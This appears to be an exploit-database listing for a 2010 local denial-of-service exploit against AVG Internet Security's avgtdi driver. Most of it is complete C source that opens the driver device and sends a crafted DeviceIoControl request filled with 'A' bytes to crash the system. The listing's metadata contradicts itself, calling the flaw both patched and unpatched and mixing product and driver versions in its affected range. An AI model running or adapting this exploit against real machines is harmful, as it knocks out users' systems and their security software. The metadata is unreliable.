AVG Internet Security 0day Local DoS Exploit

vendor:

Internet Security

by:

Nikita Tarakanov (CISS Research Team)

7,8

CVSS

HIGH

Denial of Service

N/A

CWE

Product Name: Internet Security

Affected Version From: 9.0.851

Affected Version To: 9.0.0.832

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2010

AVG Internet Security 0day Local DoS Exploit

This exploit is a local denial of service vulnerability in AVG Internet Security. It is triggered by sending a malicious DeviceIoControl request to the avgtdi.sys driver. This causes the system to crash and the driver to become unresponsive.

Mitigation:

Update to the latest version of AVG Internet Security.

Source

Exploit-DB raw data:

/*
# Exploit Title: AVG Internet Security 0day Local DoS Exploit
# Date: 2010-11-01 
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://www.avg.com
# Version: up to date, version 9.0.851, avgtdix.sys version 9.0.0.832
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <io.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <share.h>



int main(int argc, char **argv)
{
	HANDLE   hDevice;
	DWORD    cb;
	void		*buff;
	int outlen = 0x18, inlen = 0x10;
	DWORD ioctl = 0x830020C8;
	char deviceName[] = "\\\\.\\avgtdi";
	char logName[] = "avgtdi.log";

	if ( (hDevice = CreateFileA(deviceName, 
						  GENERIC_READ|GENERIC_WRITE,
						  0,
						  0,
						  OPEN_EXISTING,
						  0,
						  NULL) ) != INVALID_HANDLE_VALUE )
	{
		printf("Device  succesfully opened!\n");
	}
	else
	{
		printf("Error: Error opening device \n");
		return 0;
	}

	cb = 0;
	buff = malloc(0x1000);
	if(!buff){
	  printf("malloc failed");
	  return 0;
	}
	memset(buff, 'A', 0x1000-1);



	DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff, outlen, &cb, NULL);

	free(buff);
}